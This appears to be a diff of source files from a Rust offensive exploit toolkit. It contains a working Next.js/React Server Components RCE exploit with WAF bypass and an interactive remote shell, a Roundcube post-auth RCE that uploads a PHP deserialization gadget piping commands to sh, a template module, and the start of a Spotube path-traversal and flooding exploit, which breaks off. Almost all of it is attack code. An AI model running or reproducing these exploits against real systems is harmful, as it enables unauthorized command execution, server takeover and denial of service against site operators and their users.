let exploit = create_rce_payload(command, is_windows);
// Skip the first boundary from the exploit since we're appending
if let Some(pos) = exploit.find("\r\n") {
body.push_str(&exploit[pos + 2..]);
} else {
body.push_str(&exploit);
}
body
}
/// Create safe-check payload that triggers detectable error without RCE
/// This exploits the property resolution bug: {}.a.a -> undefined.a -> 500 error
fn create_safe_check_payload() -> String {
let mut body = String::new();
// Chunk 1 - empty object
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"1\"\r\n\r\n");
body.push_str("{}\r\n");
// Chunk 0 - reference that causes undefined.a error
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"0\"\r\n\r\n");
body.push_str("[\"$1:a:a\"]\r\n");
// Terminating boundary
body.push_str(&format!("------{}--", BOUNDARY));
body
}
/// Extract command output from X-Action-Redirect header
fn extract_output_from_redirect(headers: &[(String, String)], body: Option<&str>) -> Option<String> {
// First try headers
for (name, value) in headers {
if name.eq_ignore_ascii_case("x-action-redirect") {
// Look for /login?a=<output> pattern
if let Some(pos) = value.find("/login?a=") {
let output = &value[pos + 9..];
return Some(url_decode(output));
}
// Also check for just ?a= pattern
if let Some(pos) = value.find("?a=") {
let output = &value[pos + 3..];
return Some(url_decode(output));
}
}
}
// Fallback: Check response body (RSC flight stream)
// Pattern is often: "NEXT_REDIRECT;push;/login?a=<OUTPUT>;..."
if let Some(body_text) = body {
if let Some(pos) = body_text.find("/login?a=") {
let remainder = &body_text[pos + 9..];
// Find the end of the URL/data - usually semi-colon or quote or newline
let end_pos = remainder.find(|c| c == ';' || c == '"' || c == '\n').unwrap_or(remainder.len());
let output = &remainder[..end_pos];
return Some(url_decode(output));
}
// Less specific fallback
if let Some(pos) = body_text.find("?a=") {
let remainder = &body_text[pos + 3..];
let end_pos = remainder.find(|c| c == ';' || c == '"' || c == '\n').unwrap_or(remainder.len());
let output = &remainder[..end_pos];
return Some(url_decode(output));
}
}
None
}
/// Check if response indicates vulnerability (for safe-check mode)
fn is_vulnerable_response(status: u16, body: &str) -> bool {
// Vulnerable if: 500 status code AND body contains E{"digest"
status == 500 && body.contains("E{\"digest\"")
}
/// Execute a command on the target
async fn execute_command(
client: &Client,
url: &str,
command: &str,
config: &ExploitConfig,
) -> Result<ExploitResult> {
let body = if config.waf_bypass {
create_rce_payload_with_waf_bypass(command, config.windows_mode, config.waf_bypass_size_kb)
} else {
create_rce_payload(command, config.windows_mode)
};
let user_agent = if config.random_agent {
get_random_user_agent()
} else {
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
};
let parsed_url = reqwest::Url::parse(url)?;
let host = parsed_url.host_str()
.map(|h| {
if let Some(port) = parsed_url.port() {
format!("{}:{}", h, port)
} else {
h.to_string()
}
})
.unwrap_or_else(|| "localhost".to_string());
let mut request = client.post(url)
.header("Host", &host)
.header("Content-Type", format!("multipart/form-data; boundary=----{}", BOUNDARY))
.header("Next-Action", "x")
.header("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
.header("X-Nextjs-Request-Id", "b5dce965")
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
.header("User-Agent", user_agent)
.header("Accept", "*/*")
.header("Accept-Language", "en-US,en;q=0.9");
// Add custom headers
for (key, value) in &config.custom_headers {
request = request.header(key, value);
}
let response = request
.body(body)
.send()
.await
.context("Failed to send exploit request")?;
let status = response.status().as_u16();
// Collect headers
let mut response_headers = Vec::new();
for (name, value) in response.headers() {
if let Ok(header_str) = value.to_str() {
response_headers.push((name.to_string(), header_str.to_string()));
}
}
let response_body = response.text().await.context("Failed to read response")?;
// Extract output from X-Action-Redirect header or body
let command_output = extract_output_from_redirect(&response_headers, Some(&response_body));
// Check if vulnerable based on output or status
let vulnerable = command_output.is_some() || is_vulnerable_response(status, &response_body);
Ok(ExploitResult {
url: url.to_string(),
status: Some(status),
vulnerable,
command_output,
response_headers,
response_body,
})
}
/// Safe vulnerability check (no RCE execution)
async fn safe_check_vulnerability(
client: &Client,
url: &str,
config: &ExploitConfig,
) -> Result<ExploitResult> {
let body = create_safe_check_payload();
let user_agent = if config.random_agent {
get_random_user_agent()
} else {
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
};
let parsed_url = reqwest::Url::parse(url)?;
let host = parsed_url.host_str()
.map(|h| {
if let Some(port) = parsed_url.port() {
format!("{}:{}", h, port)
} else {
h.to_string()
}
})
.unwrap_or_else(|| "localhost".to_string());
let mut request = client.post(url)
.header("Host", &host)
.header("Content-Type", format!("multipart/form-data; boundary=----{}", BOUNDARY))
.header("Next-Action", "x")
.header("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
.header("X-Nextjs-Request-Id", "b5dce965")
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
.header("User-Agent", user_agent);
// Add custom headers
for (key, value) in &config.custom_headers {
request = request.header(key, value);
}
let response = request
.body(body)
.send()
.await
.context("Failed to send safe-check request")?;
let status = response.status().as_u16();
// Collect headers
let mut response_headers = Vec::new();
for (name, value) in response.headers() {
if let Ok(header_str) = value.to_str() {
response_headers.push((name.to_string(), header_str.to_string()));
}
}
let response_body = response.text().await.context("Failed to read response")?;
// Check if vulnerable: 500 status AND E{"digest" in body
let vulnerable = is_vulnerable_response(status, &response_body);
Ok(ExploitResult {
url: url.to_string(),
status: Some(status),
vulnerable,
command_output: None,
response_headers,
response_body,
})
}
/// RCE verification using deterministic math operation
/// Executes 41*271 which should return 11111
async fn verify_rce(
client: &Client,
url: &str,
config: &ExploitConfig,
) -> Result<ExploitResult> {
let command = if config.windows_mode {
"powershell -c \"41*271\""
} else {
"echo $((41*271))"
};
execute_command(client, url, command, config).await
}
fn print_result(result: &ExploitResult, config: &ExploitConfig) {
println!("\n{}", "=".repeat(80));
if config.use_color {
println!("{}", format!("TARGET: {}", result.url).cyan().bold());
if let Some(status) = result.status {
println!("{}", format!("STATUS CODE: {}", status).yellow());
}
} else {
println!("TARGET: {}", result.url);
if let Some(status) = result.status {
println!("STATUS CODE: {}", status);
}
}
println!("{}", "=".repeat(80));
if result.vulnerable {
if config.use_color {
println!("{}", "\n🩸 TARGET IS VULNERABLE!".red().bold());
println!("{}", "CVE-2025-55182 / CVE-2025-66478 CONFIRMED".red().bold());
} else {
println!("\n🩸 TARGET IS VULNERABLE!");
println!("CVE-2025-55182 / CVE-2025-66478 CONFIRMED");
}
if let Some(output) = &result.command_output {
println!("\n{}", "-".repeat(60));
if config.use_color {
println!("{}", "COMMAND OUTPUT:".green().bold());
} else {
println!("COMMAND OUTPUT:");
}
println!("{}", "-".repeat(60));
println!("{}", output);
println!("{}", "-".repeat(60));
}
} else {
if config.use_color {
println!("{}", "\n❌ Target does not appear to be vulnerable.".green());
} else {
println!("\n❌ Target does not appear to be vulnerable.");
}
}
if config.verbose {
println!("\n{}", "RESPONSE HEADERS:".bold());
for (key, value) in &result.response_headers {
println!(" {}: {}", key, value);
}
println!("\n{}", format!("RESPONSE BODY ({} bytes):", result.response_body.len()).bold());
if result.response_body.len() > 500 {
println!("{}", &result.response_body[..500]);
println!("... [truncated]");
} else {
println!("{}", result.response_body);
}
}
}
/// Interactive shell mode
async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ INTERACTIVE SHELL MODE ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
println!("{}", "[*] Testing connection...".yellow());
// Test with whoami/whoami
let test_cmd = if config.windows_mode { "whoami" } else { "whoami" };
let test_result = execute_command(client, url, test_cmd, config).await?;
if !test_result.vulnerable {
return Err(anyhow!("Target does not appear to be vulnerable. Cannot establish shell."));
}
let username = test_result.command_output
.as_ref()
.map(|s| s.trim().to_string())
.unwrap_or_else(|| "unknown".to_string());
// Get current directory
let pwd_cmd = if config.windows_mode { "cd" } else { "pwd" };
let pwd_result = execute_command(client, url, pwd_cmd, config).await?;
let current_dir = pwd_result.command_output
.as_ref()
.map(|s| s.trim().to_string())
.unwrap_or_else(|| "/".to_string());
println!("{}", format!("[+] Connected! User: {}", username).green().bold());
println!("{}", format!("[+] Directory: {}", current_dir).green());
println!("{}", "[*] Type 'help' for commands, 'exit' to quit".cyan());
println!();
let parsed_url = reqwest::Url::parse(url)?;
let hostname = parsed_url.host_str().unwrap_or("target");
let stdin = tokio::io::stdin();
let mut reader = BufReader::new(stdin);
let mut line = String::new();
let mut working_dir = current_dir;
loop {
print!("{}", format!("[{}@{}:{}]$ ", username, hostname, working_dir).green().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
line.clear();
if reader.read_line(&mut line).await.is_err() {
break;
}
let cmd = line.trim();
if cmd.is_empty() {
continue;
}
match cmd {
"exit" | "quit" => {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
"help" => {
println!("\nAvailable commands:");
println!(" help Show this help");
println!(" exit, quit Exit the shell");
println!(" clear Clear the screen");
println!(" <command> Execute system command\n");
}
"clear" => {
print!("\x1B[2J\x1B[1;1H");
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
}
cmd if cmd.starts_with("cd ") => {
let target_dir = cmd[3..].trim();
let cd_cmd = if config.windows_mode {
format!("cd {} && cd", target_dir)
} else {
format!("cd {} && pwd", target_dir)
};
match execute_command(client, url, &cd_cmd, config).await {
Ok(result) if result.command_output.is_some() => {
let new_dir = result.command_output.unwrap();
let new_dir = new_dir.trim();
if !new_dir.contains("No such file") && !new_dir.contains("not found") {
working_dir = new_dir.to_string();
println!("{}", format!("Changed to: {}", working_dir).green());
} else {
println!("{}", format!("cd: {}: No such directory", target_dir).red());
}
}
_ => {
println!("{}", format!("cd: Failed to change directory").red());
}
}
}
_ => {
// Execute in working directory context
let full_cmd = if config.windows_mode {
format!("cd {} && {}", working_dir, cmd)
} else {
format!("cd {} && {}", working_dir, cmd)
};
match execute_command(client, url, &full_cmd, config).await {
Ok(result) => {
if let Some(output) = result.command_output {
print!("{}", output);
if !output.ends_with('\n') {
println!();
}
} else if result.vulnerable {
println!("{}", "[!] Command executed but no output".yellow());
} else {
println!("{}", "[!] Command may have failed".red());
}
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
}
}
Ok(())
}
/// Prompt helpers
async fn prompt(message: &str) -> Result<String> {
print!("{}", format!("{}: ", message).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
async fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", message, default_char).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
if trimmed.is_empty() {
return Ok(default_yes);
} else if trimmed == "y" || trimmed == "yes" {
return Ok(true);
} else if trimmed == "n" || trimmed == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
print_banner();
// Normalize target URL
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
let base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target: {}", base_url).yellow());
// Build configuration
let mut config = ExploitConfig::default();
config.target = base_url.clone();
// Prompt for options
config.verbose = prompt_yes_no("Verbose mode", false).await?;
config.verify_ssl = !prompt_yes_no("Skip SSL verification", false).await?;
config.random_agent = prompt_yes_no("Use random User-Agent", false).await?;
config.windows_mode = prompt_yes_no("Windows target (use PowerShell)", false).await?;
let timeout_str = prompt_default("Timeout (seconds)", "30").await?;
config.timeout = timeout_str.parse().unwrap_or(30);
// Target path
config.target_path = prompt_default("Target path", "/").await?;
// Proxy support
let use_proxy = prompt_yes_no("Use proxy", false).await?;
if use_proxy {
let proxy_url = prompt("Proxy URL (e.g., http://127.0.0.1:8080)").await?;
if !proxy_url.is_empty() {
config.proxy = Some(proxy_url);
}
}
// WAF bypass
config.waf_bypass = prompt_yes_no("Enable WAF bypass (add junk data)", false).await?;
if config.waf_bypass {
let size_str = prompt_default("WAF bypass junk size (KB)", "128").await?;
config.waf_bypass_size_kb = size_str.parse().unwrap_or(128);
}
// Custom headers
let use_custom_headers = prompt_yes_no("Add custom headers", false).await?;
if use_custom_headers {
loop {
let header_input = prompt("Header (Name: Value), or 'done'").await?;
if header_input == "done" || header_input.is_empty() {
break;
}
if let Some(colon_pos) = header_input.find(':') {
let key = header_input[..colon_pos].trim().to_string();
let value = header_input[colon_pos + 1..].trim().to_string();
if !key.is_empty() && !value.is_empty() {
config.custom_headers.push((key, value));
}
}
}
}
// Build HTTP client
let mut client_builder = Client::builder()
.timeout(Duration::from_secs(config.timeout))
.danger_accept_invalid_certs(!config.verify_ssl);
if let Some(proxy_url) = &config.proxy {
let proxy = reqwest::Proxy::all(proxy_url)
.context("Failed to create proxy")?;
client_builder = client_builder.proxy(proxy);
}
let client = client_builder.build()
.context("Failed to build HTTP client")?;
let target_url = if config.target_path == "/" {
base_url.clone()
} else {
format!("{}{}", base_url, config.target_path)
};
// Mode selection
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Safe Vulnerability Check (no RCE)");
println!(" 2. RCE Verification (executes 41*271=11111)");
println!(" 3. Execute Single Command");
println!(" 4. Interactive Shell");
println!(" 5. Run Module Diagnostics");
println!();
let mode = prompt_default("Mode [1-5]", "1").await?;
match mode.as_str() {
"1" => {
println!("{}", "[*] Running safe vulnerability check...".cyan());
match safe_check_vulnerability(&client, &target_url, &config).await {
Ok(result) => {
print_result(&result, &config);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
"2" => {
println!("{}", "[*] Verifying RCE (executing 41*271)...".cyan());
match verify_rce(&client, &target_url, &config).await {
Ok(result) => {
if let Some(output) = &result.command_output {
if output.contains("11111") {
println!("{}", "\n✓ RCE VERIFIED! Output contains expected value 11111".green().bold());
}
}
print_result(&result, &config);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
"3" => {
let command = prompt("Command to execute").await?;
if command.is_empty() {
return Err(anyhow!("Command cannot be empty"));
}
println!("{}", format!("[*] Executing: {}", command).cyan());
match execute_command(&client, &target_url, &command, &config).await {
Ok(result) => {
print_result(&result, &config);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
"4" => {
interactive_shell(&client, &target_url, &config).await?;
}
"5" => {
run_self_check();
}
_ => {
return Err(anyhow!("Invalid mode selected"));
}
}
Ok(())
}
fn run_self_check() {
println!("{}", "\n[*] Running Module Self-Diagnostics...".cyan().bold());
// Check 1: RCE Payload Creation
let payload = create_rce_payload("id", false);
let checks = vec![
payload.contains("name=\"0\""),
payload.contains("name=\"1\""),
payload.contains("name=\"2\""),
payload.contains("name=\"3\""),
payload.contains("name=\"4\""),
payload.contains("$3:constructor:constructor"),
payload.contains("$@3"),
payload.contains("[]"),
];
if checks.iter().all(|&x| x) {
println!("{}", "[+] RCE Payload Structure: PASS".green());
} else {
println!("{}", "[-] RCE Payload Structure: FAIL".red());
}
// Check 2: Safe Check Payload
let safe_payload = create_safe_check_payload();
if safe_payload.contains("[\"$1:a:a\"]") && safe_payload.contains("{}") {
println!("{}", "[+] Safe Check Payload: PASS".green());
} else {
println!("{}", "[-] Safe Check Payload: FAIL".red());
}
// Check 3: Encoding/Decoding
let decode_ok = url_decode("hello%20world") == "hello world" &&
url_decode("test%2Fpath") == "test/path" &&
url_decode("a+b") == "a b";
if decode_ok {
println!("{}", "[+] URL Decoding: PASS".green());
} else {
println!("{}", "[-] URL Decoding: FAIL".red());
}
let encode_ok = js_encode("test'quote") == "test\\'quote" &&
js_encode("test\"double") == "test\\\"double" &&
js_encode("test\\backslash") == "test\\\\backslash";
if encode_ok {
println!("{}", "[+] JS Encoding: PASS".green());
} else {
println!("{}", "[-] JS Encoding: FAIL".red());
}
// Check 4: Output Extraction
// Case 4a: Header extraction
let headers = vec![
("x-action-redirect".to_string(), "/login?a=test%20header".to_string()),
];
let output_header = extract_output_from_redirect(&headers, None);
// Case 4b: Body extraction
let body_text = "some junk NEXT_REDIRECT;push;/login?a=test%20body; more junk";
let output_body = extract_output_from_redirect(&[], Some(body_text));
if output_header == Some("test header".to_string()) && output_body == Some("test body".to_string()) {
println!("{}", "[+] Output Extraction: PASS".green());
} else {
println!("{}", "[-] Output Extraction: FAIL".red());
if output_header != Some("test header".to_string()) {
println!(" Header extraction failed: {:?}", output_header);
}
if output_body != Some("test body".to_string()) {
println!(" Body extraction failed: {:?}", output_body);
}
}
// Check 5: Vulnerability Detection
let vuln_detect_ok = is_vulnerable_response(500, "some text E{\"digest\" more text") &&
!is_vulnerable_response(200, "E{\"digest\"") &&
!is_vulnerable_response(500, "no digest here");
if vuln_detect_ok {
println!("{}", "[+] Vulnerability Logic: PASS".green());
} else {
println!("{}", "[-] Vulnerability Logic: FAIL".red());
}
println!("{}", "\nDiagnostics complete.".yellow());
}
-1
View File
@@ -1 +0,0 @@
pub mod roundcube_postauth_rce;
@@ -1,262 +0,0 @@
//! Roundcube Post-Auth RCE Exploit
//!
//! This module exploits a deserialization vulnerability in Roundcube webmail
//! that allows authenticated remote code execution.
//!
//! ## Vulnerability Details
//! - **Affected Versions**: Roundcube 1.1.0 - 1.5.9, 1.6.0 - 1.6.10
//! - **Attack Vector**: Authenticated file upload with serialized PHP payload
//! - **Impact**: Remote Code Execution
//!
//! ## Attack Flow
//! 1. Login with valid credentials
//! 2. Craft malicious PHP serialized payload (Crypt_GPG_Engine gadget)
//! 3. Upload payload via settings file upload
//! 4. Trigger deserialization for code execution
//!
//! ## Security Notes
//! - Uses utils.rs for target validation and prompts
//! - Uses escape_shell_command for safe command encoding
//! - Proper error handling and timeouts
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
use colored::*;
use crate::utils::{
normalize_target, escape_shell_command, prompt_default,
};
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Roundcube Post-Auth RCE Exploit ║".cyan());
println!("{}", "║ PHP Deserialization via Crypt_GPG_Engine Gadget ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
// Escape command before encoding to prevent injection
let escaped_cmd = escape_shell_command(cmd);
let encoded = BASE32_NOPAD.encode(escaped_cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}}",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> Result<String> {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.context("System time is before Unix epoch")?
.as_nanos()
.to_string();
Ok(format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat())))
}
fn generate_uploadid() -> Result<String> {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.context("System time is before Unix epoch")?
.as_millis();
Ok(format!("upload{}", millis))
}
/// Validate and normalize target URL
fn validate_target_url(target: &str) -> Result<String> {
let trimmed = target.trim();
// Check if it looks like a URL
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
// Already has scheme, validate the host part
if let Ok(url) = url::Url::parse(trimmed) {
if let Some(host) = url.host_str() {
// Validate the host using normalize_target
let _ = normalize_target(host)?;
return Ok(trimmed.trim_end_matches('/').to_string());
}
}
return Err(anyhow!("Invalid URL format: {}", trimmed));
}
// No scheme - treat as host:port and add http://
let normalized = normalize_target(trimmed)?;
Ok(format!("http://{}", normalized.trim_end_matches('/')))
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id()?)
.append_pair("_uploadid", &generate_uploadid()?)
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("{}", "[+] Exploit attempt complete. Check your listener or reverse shell.".green());
Ok(())
}
/// Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Validate and normalize target URL
let base_url = validate_target_url(target)?;
println!("{}", format!("[*] Validated URL: {}", base_url).cyan());
// HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("{}", "[!] Version appears vulnerable!".green().bold());
} else {
println!("{}", "[-] Version not in known vulnerable range.".yellow());
}
} else {
println!("{}", "[?] Could not determine version.".yellow());
}
// Use shared prompt utilities for credentials
let username = prompt_default("Username", "").await?;
let password = prompt_default("Password", "").await?;
let host = prompt_default("Host parameter (optional)", "").await?;
let command = prompt_default("Command to execute", "id").await?;
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
println!("{}", "[*] Attempting login...".cyan());
login(&client, &base_url, &username, &password, &host).await?;
println!("{}", "[+] Login successful!".green());
println!("{}", "[*] Uploading malicious payload...".cyan());
let serialized = build_serialized_payload(&command);
upload_payload(&client, &base_url, &serialized).await
}
-46
View File
@@ -1,46 +0,0 @@
use anyhow::{Context, Result};
use colored::*;
use reqwest::Client;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
///
/// # Developer Note
/// This module serves as a template for new exploits.
/// - Always use `?` for error handling (no `unwrap()`).
/// - Use `anyhow::Context` to provide helpful error messages.
/// - Respect the `target` argument.
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", format!("[*] Target: {}", target).yellow());
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}/vulnerable_endpoint", target);
println!("{}", format!("[*] Checking: {}", url).cyan());
let resp = client
.get(&url)
.send()
.await
.context("Failed to send request")?
.text()
.await
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("{}", "[+] Target is vulnerable!".green().bold());
} else {
println!("{}", "[-] Target does not appear to be vulnerable.".red());
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod spotube;
-253
View File
@@ -1,253 +0,0 @@
//! Spotube Remote API Exploit
//!
//! This module exploits unauthenticated access to the Spotube API, enabling
//! path traversal via WebSocket and denial of service attacks.
//!
//! ## Vulnerability Details
//! - **Affected**: Spotube (desktop music client)
//! - **Attack Vector**: Network (HTTP/WebSocket)
//! - **Impact**: Path traversal, DoS, unauthorized playback control
//!
//! ## Features
//! - Ping server connectivity test
//! - Playback control (next, previous, toggle)
//! - Path traversal injection via WebSocket
//! - HTTP endpoint flooding (DoS)
//!
//! ## Security Notes
//! - Uses utils.rs for target validation
//! - Proper error handling and timeouts
//!
//! Made by Suicidal Teddy - first ever zero day exploit
//! For authorized penetration testing only.
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
use crate::utils::{
normalize_target, prompt_default, prompt_int_range,
};
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Spotube Remote API Exploit ║".cyan());
println!("{}", "║ Path Traversal + DoS + Playback Control ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Custom headers to emulate browser requests
fn browser_headers(host: &str, port: u16) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
/// Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: u16, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
